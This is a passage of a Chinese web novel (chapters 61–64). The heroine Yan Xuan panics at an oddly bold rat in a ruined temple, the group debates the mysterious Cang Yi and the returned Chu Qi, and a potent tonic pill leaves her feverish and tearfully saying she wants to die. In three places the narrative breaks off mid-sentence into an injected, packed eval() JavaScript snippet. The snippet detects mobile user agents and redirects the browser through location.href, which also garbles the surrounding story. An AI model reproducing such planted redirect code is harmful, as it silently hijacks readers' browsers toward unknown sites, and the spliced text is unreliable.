放好两瓶药,她转着轮椅先来到司珩身边,手上拿着帕子迟疑一瞬。 舅舅的脸,还是不能让太多人看到。 61. 第 61 章 风停雨歇,火光摇曳,除去偶尔一两声噼啪爆鸣,庙内过分寂静。 晏璇握着一只简易炭笔,犹豫着是给司珩画上两笔还是只拿帕子帮他遮了。角落里忽传来吱吱响动,她偏过头,潮湿的土墙上有一团黑影闪过。 晏璇顿了顿,视线快速搜寻,不期然对上两只黑豆般的眼睛,灰扑扑带着湿意的毛发,贴地拖着一条细长的尾巴……还好,不是别的闯入者,她的心稍安,慢慢转过头,扫了一眼躺在地上的众人,身上的汗毛却不受控地倒竖起来。 此地不知荒了多久,一些动物在极度饥饿的情况下是会把人当做食物的…… 有一只野鼠出现,附近极有可能有同类存在。火堆还未燃尽,热气升腾,小东西就敢出现在她面前,在那双黑得放光的眼中,他们这群安静的人类可是等同于一堆喷香的贡品? 面对来路不明的苍翊,晏璇能耍心机,借着对方话语中的一点亲昵敢肆无忌惮,不怕一着不慎丢了性命。现下只是对着一只小小耗子,她心里的恐惧成倍剧增。 晏璇也顾不得给司珩上妆了,随手在他脸上抹了几下,三道灰黑的指印顿时横亘在他脸上,眉心上还被晏璇戳了个黑点。这怎么不算是亲舅舅的特殊待遇呢。 晏璇探身,伸长手够到了一根燃着火的木头,她转动轮椅,一边挥着手上的火棍一边像赶小狗似的低喝:“去!去去!” 小九:【……宿主,老鼠胆子很小,你稍微吓吓,它们就会跑走了。】 若是普通耗子,感受到火光不可能还往这边跑。晏璇脑子里一下涌出许多关于动物变异引发的恐怖故事,她忘了这里不是灵怪超能世界,执拗地挥动火棍。 小东西瑟缩了一下,往旁边快速爬动,只是它没被晏璇吓跑,反而向她的方向冲过来。 四肢爬过干草枯叶,悉悉簌簌…… 小九:【噫吁嚱!!】 晏璇:【什么东西?】 小九:【……最近系统升级了不文明用语转换功能。】 晏璇:【……】 老鼠的视力并不好,它们的嗅觉才是十分灵敏。附近散发着香味的只有架起的那锅汤,可它偏就直愣愣、一反常态地往晏璇身边钻,晏璇茫然,立时头皮发麻。 谁能想到有一天她会想对着老鼠喊救命。 她握着火棍一顿乱舞猛戳,老鼠的皮毛被烫到少许,它吱吱乱叫,仍在她身边贴地游窜。 旁边有那么多昏着的人,仿佛只她一个能动的成为了目标,俨然被盯上的猎物。 到底是哪里出了问题? 百宝袋里还有药,只是一来她不想浪费了,二来不确定对老鼠有没有用。 正犹豫间,小东西动作迅疾,沿着轮椅腿窜上来到了扶手处,晏璇吓得尖叫,疯了似的挥动柴棍和衣袖,摸到的银针也是胡乱扎刺,因为不想近身接触简直就是虚空索敌。 恶心,太恶心了。 “小姐?!” 晏曜迷迷糊糊睁眼,尚未明白自己怎么坐着睡了过去,就听到一声大叫,见晏璇完全失了往日冷静拼命甩打着什么。 他猛得撑地而起,手上抓过一块不大不小的碎石,扫过晏璇身周没发现什么,再定睛一看,地上趴着一只灰鼠。 听到动静就会逃窜的老鼠,此刻像是中了邪在同活人对峙。 “小姐,是一只小老鼠,我这就赶走!” 对晏曜来说,在很长一段时间的流浪中,他曾睡过荒地、破庙、牛马棚,饿得实在受不了时,也曾抓了老鼠烤来吃。此刻若不是见晏璇惊恐异常,他能徒手把它用碎石敲死。 他飞快上前,一只手就掐住了鼠头,鼠叫声细而尖厉,晏璇感到一阵恶寒从背上窜过。她以袖挡脸,睁了半只眼,见晏曜疾走几步,将那团东西扔出了庙外。 小九:【宿主,你这回真是自己吓自己,晏曜不是轻松把它拿下了?】 晏璇犹疑:【是吗?有没有可能只是突然多了其他人的气息波动,它分辨不清才不动的。】 小九:【这……感觉怪怪的,说得好像它成精盯上了你们,把你们当食物了似的。】 晏璇:【或许就是呢。】 小九:【?!】 见晏曜去而复返,晏璇忙喊道:“等等!” 晏曜停住了腿:“小姐,怎么了?” “洗手。”晏璇听得自己的心跳砰砰,缓了缓道,“多洗几遍,洗干净,回来再用热水擦洗一遍。” “哦,好的。”少年听她的话,跑去门口用雨水冲刷。 在场众人,晏曜最先醒转过来,之前是晏璇扛着没有昏死,莫非苍翊下的药和那次暗室里的迷香类似,对于没有武功的晏曜和她来说,影响是最小的…… 苍翊喂她吃的解药,从口感上来说,与那次杜若给的解药味道并不一样。 说到杜若,一直没有他的动静,真被敬澈取了性命曝尸荒庙外了?可晏璇直觉苍翊不会让人下手,他看似阴晴不定,也没真的要见血……或是只是喜欢暗里下药那一套? 还让敬澈一个壮汉故意装什么窝囊小厮,怪人做怪事。 晏曜擦着手进来,方注意地上多了两个黑衣人,又见花奕他们一直不醒十分可疑,一脸防备站至晏璇身侧。 “小姐……” 晏璇有些疲乏,没过多解释:“没事,是自己人,他们一会就醒了。你去外头看看车夫,他有没有事。” “……好。” 知道那人是杜若,晏曜没立刻离开,而是在找人前先烧上了一罐水,他没忘晏璇的叮嘱。 晏璇想转动轮椅看看其他人的情况,刚要把手放到扶手上,身体先一步抗拒得差点跳将起来。她前倾身子,双手悬空,叹了一口气。 不行,她现在觉得哪哪都不干净,浑身不舒服。就像一只痛得蜷缩的虾米,她垂着头,企图说服自己别在意。 孟珎深喘着醒来,一眼就看见弯着腰似乎很痛苦的晏璇。那几个奇怪的过路人已不见,在他中招昏迷的这段时间不知发生了什么,恐慌在他心底蔓延。 他倏地站起身,感受到背部的一丝异样,但他无暇顾及,快走到晏璇面前,急问:“阿璇!你可有怎样?哪里受伤了?” 晏璇抬头,孟珎已倾身握住了她的臂膀将她打量,晏璇不想自己的手也脏了孟珎,只用手腕一侧抵住他的腰。 “师兄,你醒了。” 孟珎点头,瞥见她的动作,眉头紧锁:“手怎么了?可是那些人做了什么?” “脏了……”晏璇叹道。 孟珎不解:“什么?” 晏璇用脑袋一下撞到他胸口上,瓮声瓮气道:“方才有老鼠爬上轮椅,我也不知自己的手有没有碰到。我觉得哪儿都是脏的,不想坐在这……” “只是老鼠?”孟珎问。 “嗯……很奇怪的老鼠。” 孟珎先不管是有多奇怪的老鼠,知道她没事松了口气。他扶上她的肩,略微蹲下,轻声道:“我抱你去马车上,等我重新把轮椅擦洗过,你再用。” 晏璇抬头看他:“先洗手……” 孟珎:“好。” 上次在暗室,他偶然知道晏璇怕鼠,这次她如此近距离碰着了,会吓到是自然的。 孟珎抱起晏璇,她的双手仍是悬空翘着,没挨着他身上一处。虽觉得不该,可他觉着这样的她就是生动的可爱,当然,从前万事不慌的样子也很狡黠动人。 晏璇斜睨着他:“师兄笑什么?” 孟珎抿嘴:“没有,你没事,我开心。” 晏璇:“我不开心。” 孟珎有些慌: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779450|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为何?” 晏璇朝他抬了抬下巴:“你瞧那人是谁?” 孟珎顺着她的视线往旁边瞥去,跃过躺倒的十一,往供桌方向有另一个黑衣人侧躺着,露出他的真面目。 “初……七?”孟珎皱眉。 “若我没猜错,他还是十一的哥哥。方才,他追着那三个避雨的来这,与他们斗了一场,输了。” 孟珎:“他见了你,没有认你。” 晏璇扯了扯嘴角:“毕竟有着多重身份,当不认识很正常。” 可是她就是不开心。孟珎犹记,当年初七与倩娘离开,仅留下一句有缘再见,晏璇拿着信纸怅然许久。她曾问他,江湖人的有缘再见是不是就是再也不见。 “他在这,说明这些年都很好。”孟珎没再看初七,转身抱着她往外走。 晏璇觉察到孟珎微妙的情绪变化,似在生气又不像,她明白他是为自己不平。她无声一笑,其实不开心倒也不至于,确切地说,是稍许的不爽,被人披着马甲骗了好久。 正当他们快走出庙门,听得司珩一声暴喝:“小璇!孟珎,你带她做什么去?” 司珩一个激灵一跃而起,扫视一周,庙内没了那几个人的身影,却多了两个黑衣人。 看来,大家都要陆续醒过来了。晏璇越过孟珎肩头,忙道:“舅舅,我衣服脏了,换了衣服再过来。你,你也收拾一下,脸都脏了……” “脸……”司珩抬手摸上自己的脸颊。 花奕捂着头醒来,嘀咕着:“奇怪……” 她敲了敲脑门,抬头一看正对上司珩皱眉的样子,眨了眨眼道:“前、前辈,您这是往炭堆里滚了一圈?” 司珩看着摸了一手的黑灰,额头微跳:“混小子!一定是他!” “谁?”花奕疑问,“对了,我刚刚怎么就睡了过去?” 司珩冷哼一声:“你中了那臭小子的迷药!” 他捡起落在地上的帕子一嗅,心头咯噔,半遮着脸忙跨步走向庙外。 “啊,什么迷药?!”花奕一转身,庙内没剩下人,唯有躺在地上那两个。 “这又是谁啊?” 她拿起破妄刀靠近,来回打量,认出其中一人是十一,另一个长得眉清目秀的,不认识!索性将他俩挪到了一块。 大约又是半刻钟过去,孟珎把轮椅上上下下清理了遍,才将晏璇重新抱回。花奕沉默看着,满头问号。 杜若是被晏曜背回来的,他被击晕了倒在外头檐下,要是泡一晚上水,说不定真没命了。 所有人围着火堆坐着,包括沉默不语的十一和初七。 晏璇看了一眼司珩,知道他重新易了容。关于苍翊,她还没想好怎么开口,就听司珩率先出了声。 “那人是不是苍翊?小璇,他同你说了什么?” 零零碎碎地说了好些,她也不知道从何说起,要说重点的话,似乎只有那门不知真假的亲事惹人在意…… “他说,他说我和他之间有婚约,是娘答应的。”晏璇扣着指甲,面无表情道。 “他放屁!”司珩当即厉声道。 还是第一次听司珩骂粗口,那看来这事多半是不靠谱的,晏璇舒了口气。 只是,她一抬头见孟珎一瞬不瞬盯着她看,眸光颤动,直盯得她心虚内疚。不是,她心虚什么内疚什么,都怪他的眼神太委屈了! 哎,人家小师妹的眼泪比剑厉害,她家师兄的眼神比刀子还狠。 花奕怪叫道:“什么?哪又冒出来这号人物。” “苍翊……诸位说的可是那位阳春教教主,多年前不战而败隐匿的魔头?”一旁的杜若皱眉问道。 晏璇微挑了下眉,原来苍翊说他好不到哪儿去的身份是江湖魔头啊…… 阳春教,有点意思。 62. 第 62 章 杜若的话一出,四下静默,几双眼睛纷纷盯着他看。 尤其晏璇与同珩,许是焰光柔化了视线,他此时竟瞧出了他们眉眼间的一点相似。两人歪着头,一副疑惑中带点不可思议的惊讶样子,如出一辙。 杜若一怔,暗道莽撞了,又是此般无顾忌地说出了猜想。听同镖头和晏姑娘的话中意,那人是个熟人,晏姑娘怎会和魔教之流的人有关系。 可真是熟人,为何会无故偷袭他们? 杜若亦是满腹狐疑。 花奕拿起破妄,刀鞘尾向前一伸,冷笑道:“这话何意?你是说我们与魔教不清不楚?” “哦,女侠误会!那或是同名同姓之人,是我糊涂狭隘了。”杜若忙解释道。 “你们……说的我都听不明白,这阳春教是什么?”晏璇见司珩沉思,引过了话头。 花奕:“曾在江湖上横行的魔教,不过早二十年前就被各正道门派联合围攻了。近些年,从未听过。” “确实如女侠所说,但此教于十年前死灰复燃过一次,彼时的教主叫苍翊。当时,各大派正要商讨应对之法,结果对方不战而逃。”杜若道。 “甭管二十年前还是十年前,都与我们扯不上关系。姓苍的在江湖上胡作非为时,阿璇还是个小丫头,天天窝在晏家后院喝苦药呢。”花奕嗤道。 杜若讪讪不语。 司珩暗惊,这些年不知苍翊下山还有了这番动静,自知是先前大意不该直接问出他的名字,听花奕出声讽刺,心中马上有了计较。 他佯装不满瞪了一眼,哼道:“同某虽在外闯荡,那也是正正经经走镖养家糊口,什么魔教,听都未曾听过。” 杜若告罪,只他又有了别的猜测,曾经的魔教教主或是隐瞒身份与他们打下了交道。 司珩面不改色继续道:“此苍翊非彼苍翊。他出生于我老家隔壁的药商家,打小性情乖戾了些,与晏璇的亲事纯属他口无遮拦,自作主张。因我对此多加阻扰,他心怀龃龉,几年未见,今日偶遇才会暗下狠手。” 杜若:“商贾之家竟有不俗武艺。” 司珩叹一声:“家里就他一个孩子,故请了武打师父教授防身,他又经常接触药材会些不入流的暗方。” 杜若点头:“原来如此。”心道那些人看着可不普通,只是姻缘不顺就暗动手脚,正是魔头的处事风格。这苍翊是从小伪装,同镖头和晏姑娘还被蒙在鼓里呢。 思及此,他望了眼晏璇,她引得那人青睐可不是什么好事,今日姓苍的可留一手,下回就不见得了。 孟珎虽不是杜若那种忧心,心底亦是乱成麻,晏璇身世带来的各种未知令他不安,无论是涉及江湖恩怨,还是昔日人情,他觉得有什么隐形的力量要将他们渐渐分开。 从前便不是她离不开他,是他离不开晏璇。她虽体弱可总能凭己化险走出一条道,他于她只是安慰,给予情绪上的安抚,有他无他似乎并无不同。他恍惚中陷入一种自厌,无能为力的恐慌中。 晏璇还在咂摸司珩这番似真似假的说辞,瞥见孟珎垂眸表情黯然,闷葫芦这是又瞎想了什么? 假亲事的威力竟有如此之大,叫他魂不守舍起来了……师兄这人便是什么都好,唯独少了自信。 从前他们推心置腹说的话白说了,非叫她给他吃颗定心丸才好。 晏璇撇撇嘴,朝司珩扬声道:“舅舅,你确定是那人擅作主张?” “确定吧……你外祖母应该也不会应承这件荒唐事。” “他蛮横无理,我不喜欢他,我……已经有喜欢的人了。” 司珩犹在回想,听得她后半句,气急道:“喜欢什么喜欢!在这么多人面前,你、你收着点。” 说完,他都不愿给某人分去半点眼神,臭小子得意坏了吧。司珩感觉自己肺都要气炸了,那个窝囊东西让他家姑娘先在众人面前表心意,苍翊是不行,他更是没门! 花奕和十一瞬时睁大了双眼,晏璇可真是不鸣则已,一鸣惊人。况她神情坦荡,毫不扭捏,此举叫人又惊又羡。 敖七斜靠着庙里的破香炉,嘴角微哂,那姓苍的明明是同一人,倒被晏璇这番直言不讳的表意转了视线,她似乎总能自然地以一副天真的姿态缓和矛盾。喜欢的人啊……他的目光往旁边移去。 司珩的声音早将晏璇的话盖了过去,可那句“有喜欢的人了”仍如一道闷雷在孟珎脑中滚过,余音不绝。他缓缓抬了头,不敢用力呼吸,怕眼前的是一场幻听,热气自他耳后向两颊熏来。 晏璇直勾勾盯着他,旁若无人般,比任何一次他们独处时还要直白,他脑中一惊忽的顿悟过来,方才他在沮丧些什么……一个人被人喜欢是因为他有值得被人喜欢的地方,他应该相信自己值得,这是师妹早就告诉过自己的。 他错了,想立刻告诉她他的心情,他全不在意了,只要在她身边。晏璇却低哼一声不再看他。 她觉察到了他的低落,现在,她生气了。 他方与她心意相通,却因一点意外自惭形秽、退缩不安,实不该!孟珎悔极,愁闷的心又变得焦急,师妹不原谅他该如何…… 司珩受够了两人眉来眼去,重咳一声,长手指向敖七,沉声道:“这位小兄弟又是何人?” 十一紧张地望了敖七一眼,晏璇他们肯定认出了七哥,此时若说出她与敖七的关系,从前种种还不知如何解释。 敖七稍坐直身体,敬澈下手狠重,他如今全身钝痛。 他拱了拱手,温和笑道:“在下初七,不知晏大夫和孟大夫可还记得?” “初七?”花奕眯眼使劲盯着他瞧,好一会抖着手道,“是你!怪不得我觉着眼熟却又想不起来是谁,怎么几年不见,还练会了拳脚功夫?” “算是……找回了过往一点本事。” 司珩偏头:“奕丫头,你认识他?” “认识。好些年前了,在云边小镇,这家伙差点害死阿璇!” 那是他们第一次下山赶集游逛,刚甩脱了两个恶人,在镇上歇了没多久就遇到晏璇遭绑。等她和林靖赶到地窖,见着晏璇和孟珎一脸血泪抱在一起,那副景象于她少年时光留下了不小阴影,之后回到药王谷,她求着爹爹苦练了好一阵武功。 花奕言辞激动,好似见到了能做主的长辈,要好好告人一状。晏璇见了,心起涟漪,年少时能遇见这么一位明媚的姑娘真是幸事。 司珩不知他们当年瓜葛,但见晏璇几人没有明显敌意,想是过去有了了断。至于,此人与苍翊间的恩怨,不是他们该关心的,江湖上的浑水能少蹚便不要碰。 敖七见司珩冷眼凝视,歉声道:“昔日不得已时做过错事,幸遇晏大夫医者仁心,初七已重新做人。” 一个人除了外貌,真能从里到外变了个人似的?晏璇余光中见他一举一动,皆与当年不同,真是自己迟钝走眼了? 她轻敲着轮椅扶手,浅笑道:“救治过的人太多,记不大清了,好像……是有一位叫初七的画师,画工尚可,我请他画过几幅画。” “没记错。”听了晏璇的阴阳怪调,敖七也不恼,“我还记得是晏大夫的爹娘思女心切,隔些日子便让人取了你的画像回家去。一年寒暑,晏大夫欠了初七不少银钱未给。” “简直放屁!”花奕听罢怒瞪,“当初阿璇救了你心上人,是你自己感激涕零要做白工。你同金麓干下恶事在先,阿璇未同你计较,如今你还有脸提钱!” “奕姐姐,稍安。”晏璇伸手拍了拍花奕的肩背。 十一欲言又止,左右为难,七哥不是这种计较的人,更不会忘恩负义,他说这番话到底想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她忍不住从他手上拿过了那卷可称之为账本的卷纸。蝇头小楷,密密麻麻记了好些年,许是他有着不俗的雕工,手上力量很稳,字迹虽细密但非常工整。 “师弟你……我佩服。”花奕惊叹一声,哈哈大笑。 杜若身为时天辰的管事,都被孟珎这份细致震住了。 一时间,晏璇不知该感慨孟珎的细心,还是臭骂初七的无理取闹,他们真是闲得慌陪这无赖玩这一场。 敖七笑道:“孟先生,我亦佩服。” “那就是没话说了?”晏璇将卷纸还给孟珎,对着司珩道,“舅舅,不必管他让他滚吧。我们还要赶路,得休息了。” 相处了一段日子,司珩差不多了解了晏璇的性子,她很少生气,当沉着脸说些不算狠话的狠话时便表明气极了。 司珩凝眉,肃容道:“初七兄弟既已安然苏醒,麻烦换个地方避雨吧。” “不可。”敖七抬手,掌上排出一串铜钱,“七某卜了一卦,两水重叠,坎水为险,诸位今日遇袭乃有此一劫。待明日放晴,在下再走不迟。” 晏璇:“……” 敖七注视着她,轻声道:“小晏大夫,此前我只是开个玩笑,莫气。” “这些年,倩娘一直很挂念你,我代她向你问好。” 晏璇仍是不懂他这个玩笑的意义何在。 “当年在下遇害流落云边小镇,记忆全失,武功尽废,如今的模样才算是我本来面貌。” “本以为再无相见之日,今日又要吃了那人的亏,不曾想还是得了晏大夫相助,真乃天意啊。” 所以,是苍翊下毒害他性情大变? 什么毒,这么厉害?! 63. 第 63 章 山外有山,人外有人。晏璇知晓自己几斤几两,借品贤阁意外打出了一个药师璇的名头,靠的是机缘和手段。 在她之前,既有殷数、鬼医不走寻常道的用毒高手,也有药王谷、阆苑山庄那种遗世独立的江湖组织,甚至在修习剑术的峋山派,也有懂药之人相助商陆,否则那日他受毒伤神仙难救。如今,冒出一个怪人苍翊。 药师这条赛道,比她想象的要热闹。 望着初七令人陌生的笑容,晏璇又想到十一关于莫问楼闭口不谈的样子,或许他的装腔作势只是江湖人的迫不得已。不过此刻出于同行间的好奇,晏璇对苍翊的药兴趣更甚。 若有心人掌握了那等本事,岂不是能在江湖上横走?说不定,十年前那人就利用了这点。 司珩和花奕表面上矢口否认,但了解他们一些的晏璇,从他们的言行猜出在某个瞬间他们就确认了苍翊的身份。而她自己,在看到杜若发出疑问后初七毫无波澜的反应时,明白了有人的狂妄是早刻在骨子里的。 苍翊对她说的许多话没头没脑,是一个习惯了高位的人对低位者的无意识嘲弄,然因不知情带来的天然劣势不至于令晏璇真的觉得自己处于下位。那些故作高深的话,表面听着是提点,实则无处不傲慢。 这些混江湖的,都在装些什么。 晏璇沉默着,眉间微蹙似是思绪万千,脸颊泛红似是情绪激荡。 司珩暗暗叹气,这傻孩子定是被初七几句话触动了,可在外走动的哪有几个没点心眼,人不狠心总是要吃些亏的。 思量间,就听初七继续说道:“晏大夫,莫听信那人花言巧语。他虽用药救你,绝非良善之辈,其狠毒用心难测,日后定当小心。” “用药……” “救人?” 孟珎和司珩双双出声,司珩瞥一眼,皱眉追问道:“他说了什么?要他救什么人?” “方才,晏大夫……情急之下旧疾发作,那人假意慷慨拿出了一颗药。非我以小人之心揣测,此人所为必有所图,还望诸位留心。” 敖七一脸凝重,虽未点明那人是谁又句句咄咄逼人,自己是好一片肺腑之言。杜若猜不出他的身份,但和苍翊有恩怨必不简单,晏姑娘作为药师也不知救过多少人,结下了多少缘。他望着跳动的焰火,想来还有些后怕,少主命他护卫,暗中也调配了人手,可若不是晏璇与苍翊有些渊源,那人无所顾忌发起疯来,今晚谁都逃不过。 “旧疾?”孟珎低喃看向晏璇,同时伸手去捉她的手腕。 晏璇后仰着缩手一躲,本来也没毛病不需要他把脉。孟珎抓了个空,有些怔怔地看着自己空握的手。 这好像还是她第一次明着闹脾气。以前在雾山,她还只是把他当外人客气着,后来两人走近了出了寻人告示那件事,她也只是笑笑,没太介意也没必要。眼下,事都不算事,可她再像个泥菩萨似的,那跟两块木头谈感情有什么区别。 晏璇无视他颤动的眼睫,偏过头正要说话,孟珎倏地握住了她的手,不松不紧,想挣脱也没那么容易。 晏璇微惊:“你……” 之前她让孟珎在司珩面前收敛些,他都忍着没怎么喊她的名字,此刻舅舅就在一旁,他这是被她逼急了? “你脸色不对,让我看看。”孟珎半蹲下仰头看她。 晏璇:“我很好。”她试了试抽回手,果然纹丝不动。 “磨蹭什么,快给小璇看看,那混小子指不定给她吃了不干不净的!”司珩忙道。 孟珎用余光瞥了一眼,凑近晏璇,用着几近卑微的语气低声道:“阿璇,我错了,再叫我胡思往后都不能同你说话,你生气不可拿身体开玩笑。” 不说话就不说话,他个闷葫芦以前也没多讲几句。晏璇心中哼道。 “什么错?”花奕听他们嘀咕,瞬间捕捉到几个核心词,讽道,“犯错了那便打一顿长长记性。” 晏璇:“……” 打人犯不着,就算真用暴力撒气,最后痛的只会是她的手。 但是,孟珎的主动到底是取悦了她,晏璇希望的就是两个人坦坦荡荡讲清楚,她心里也没有想着一下子把人掰正了。今晚上,她就是有种想耍性子的强烈冲动,还是点到为止不宜太过。 “我……胸口闷,他给我吃了一粒雪莲丹。”初七还在,她也就不便说自己之前是装的。 司珩皱眉:“雪莲丹?” 孟珎挽起一点她的袖口,低头间神色瞬间冷凝:“是他……” “什么?” 晏璇看向腕间,那里有几点微红指印,应该是苍翊夺药时留下的,那人的手劲真不是一般的大。 “看着骇人而已。”晏璇抖落衣袖,解释道,“起了点摩擦,不小心留下的。师兄,我真的没事,就是有些困了……” 说起来,这种随时能闭眼的困顿有些年没体会了。自从身体的毒素清了,晏璇的嗜睡便跟着好转。 她以为孟珎会顺她的意,让她回马车上休息,不料听得他略显严肃的声音道:“你有事。” 晏璇:“……” 花奕唰的探身到她跟前,皱眉道:“阿璇,你的脸好红。” 她说着,用手背碰了一下晏璇的脸颊,晏璇顿时感到一阵爽快的凉意。 “有什么事孟小子你倒是把话说清楚。”司珩急道。 顿时,除杜若和初七,其余几人均围拢在晏璇轮椅旁。晏璇受宠若惊,人多晃眼,甚至觉得呼吸都有些不顺畅。 “是雪莲丹的缘故。”孟珎沉眉道,“师妹脾弱一直在调养中,服用了由几味重药炼制的补药,她的身体承受不了。” 司珩:“我就知晓,那混小子打小不知轻重,胡乱给人吃药,哪一天把他自己吃死了算球!” 敖七闻言嘴角微嘲,那人把别人都害死了也不会伤到自己分毫。 晏璇:“……” 她明白了,她这是虚不受补。 晏璇用自己的手背拭了下脸,的确有些异样滚烫,她以为自己犯困,不想是烧迷糊了。觉察到今晚的情绪忽高忽低,仔细回想还有些小矫情,难道也是因为吃了那药的后遗症? 她有些想笑,亏她觉得自己赚了一颗大补丹,实则脆皮小身板根本受不住。 “傻孩子,你还笑?”司珩气恼道。 什么,她笑出来了吗?晏璇昏昏沉沉地想。 孟珎顿感不妙,顷刻弯腰抱起晏璇:“我带她去马车上,还需熬些药解药性。晏曜,你来帮我。” “是,孟大哥!”晏曜立即跟上。 “还有我呢,我能做些什么?”花奕随后叫道。 十一跟了两步又退回原处,与敖七悄然对视一眼,确认彼此无甚大碍,她一个闪身消失在庙内。 司珩瞧见了,不动声色坐回火堆旁,抱胸沉思。这长得一脸书生样的小子八成是莫问楼的,他与苍翊出现在此纯属巧合。下山这么久,司珩也没想到会偶见故人。 过往,中原武林曾传泑山司姓一族擅巫蛊之术,颇为忌惮。司珩不知此谣言从何起,说到蛊毒,严山岭苍家才是真的精于此道,甚至研制出了能对付他们这支血脉的秘药。只是,百年来两家一直偏安一隅,守望相助,司珩少时与苍家小辈还有走动。 多年过去,司珩虽不知苍翊品性有何变化,但经他手的东西绝对要小心。而且,据他所了解,严山岭上的规矩与司家相近,族人不得长留在外,苍翊也犯了族规…… 司珩面色沉郁,望着庙外出神。杜若见状,宽慰道:“同镖头,毋需多虑,孟先生医术精湛,晏姑娘不会有事的。” 苍翊既能提起那桩口头婚约,必是记起了阿姐,他真有意害人也不会只把他们迷晕。 司珩的担忧不在此处。 “任管事,此前……你何以觉得我那邻里是阳什么教的教主?一教之主可会如此简陋出行?” 同镖头这是疑心苍翊身份了? 杜若略一思索,斟酌道:“据传当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817677|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年那魔、男人神出鬼没,每次现身只一男一女随侍左右。起先在下并未在意,毕竟三人出行太过寻常,直听到他欲下药害人。阳春教擅长的便是用蛊毒迷药杀人越货,加之同名同姓,在下才有了猜测。” 司珩:“……竟是如此。” “同镖头也别太在意,或只是我多心。天下之大,巧合有之。”杜若眼神余光扫过敖七,说道。 司珩点点头,叹道:“最近外面颇有些不安稳,才刚听说几大门派被一个叫殷数的用毒高手戏耍,如今又有魔教风声传出,可是要发生什么大事了?” “先生出身镖局,比之常人是要敏锐些。不日,雷霆山庄要召开武林大会,有些宵小蠢蠢欲动了吧。”敖七轻笑道。 司珩偏头,回以浅笑:“哦,我闻初七兄弟也是闯荡江湖久矣,所言有理。” 敖七抱拳:“只是猜测,不敢妄断。” 杜若甩了甩半干的头发,未语。 三个男人心思各异,分坐一边合唱一台戏。 晏璇被孟珎抱起时还有些发懵,直到脸颊贴上孟珎胸前衣襟,丝丝凉凉的感觉令她为之喟叹。她忽的有些想哭,酸涩的疼痛一股股冲刷着心门。 夜色中,孟珎看不清她的神色,只觉察她小声吸了吸鼻子。他脚步一顿继续向前,语气中含着惶急:“怎么了,可是哪里难受?一会我让晏曜去熬药,等喝了药就会好了。” “不知道,就、控制不住想哭。”晏璇咬咬牙,颤音还是从喉间泄出,像开了闸似的,“喝药好辛苦,学医好辛苦,活着好辛苦,我不想活了……” “每天像有一把剑悬在脑门上,提醒自己不做好事就只能等死。” “我累了,身上好痛,还有讨厌的老鼠,我脏了不行了……” “爹、娘,对不起,我不想活了……” 小九吓得在晏璇面前乱窜:【宿主,你快醒醒!要是把我们的事说出去会扣生命值的,还会遭受电击警告!快醒醒!】 晏璇:【……】 晏璇:【不是,我控制不住啊!他大爷的!】 她像个饱受摧残的小可怜,不停歇地哭诉,一遍遍说着不想活了。 “阿璇……” “小姐?” 跟来的三人被吓呆了,孟珎尤甚,在认识晏璇那一刻,他一直认为她如一朵盛开的野菊花,坚忍明净,就算被病痛折磨从未抱怨放弃过。他从不知她心里默默藏着无限苦楚,有着轻生的念头。 “阿璇,别……” 孟珎心口堵得难受,他想要安慰她,眼前糊成一片,眼眶里不知何时早已湿润。 “师弟,想想办法!”花奕先扶着将人安置到车内,沉声道。 她第一次见晏璇如此,心里慌得很。 “晏曜,打开药柜的第一、二、四层,分别取五味子陈皮半夏……”孟珎深深吸气,吩咐晏曜抓药的同时取出针包,“师姐,扶住阿璇的头颈。” “好!” 晏璇的脑袋、心口、胳膊几处都被孟珎扎上了针,她无声流着泪没再哭嚎。不知是药效还在继续,还是她觉得太过丢脸流的泪。 整张脸红彤彤的,眼底鼻头也透着红,泪汪汪的眼睛看谁一眼都是委屈。 晏璇:【苍翊,我记住他了。】 小九:【宿主,这人的药太吓人了,你就跟上次喝醉了发酒疯一样。】 哪里一样?完全不一样!她像个没有隐私的跳梁小丑,当众剖白着她自己都没深想过的东西。 最后总算冷静下来了,孟珎半跪着拿帕子给她擦脸:“阿璇?” 晏璇盯着他看了会,闷声道:“师兄,我想一个人待一会。” “嗯。那等一会药好了,我再叫你。” 孟珎替她理了理乱发,柔柔一笑,安抚意味浓厚。 晏璇平躺在毯子铺就的车厢里,呆愣地望着车顶,听到外头花奕询问孟珎的声音。 不知不觉中伴着风声,她竟也睡了过去。 64. 第 64 章 晏璇于一阵淡淡的幽香中醒来,鼻间萦绕的味道很像她小时候躺在春天的草地上闻到的草叶香。 她没有马上睁眼,只是静静躺着,内心仿佛受过佛音洗礼,无欲无求。身下能感受到晃动,伴随着车轮滚动的咕噜声偶尔会有点颠簸。他们已经重新上路了?她这是睡了多久…… 想起昏睡前自己的失态,遥远记忆中还有一次,是她在前往雾山前吃了司珩给的解毒丹,控制不住的泪流,停不下来的嘴碎,甚至产生不少幻觉。司珩这么紧张她吃了苍翊的药,部分原因会不会是他们都来自同一个地方,另类的知根知底? 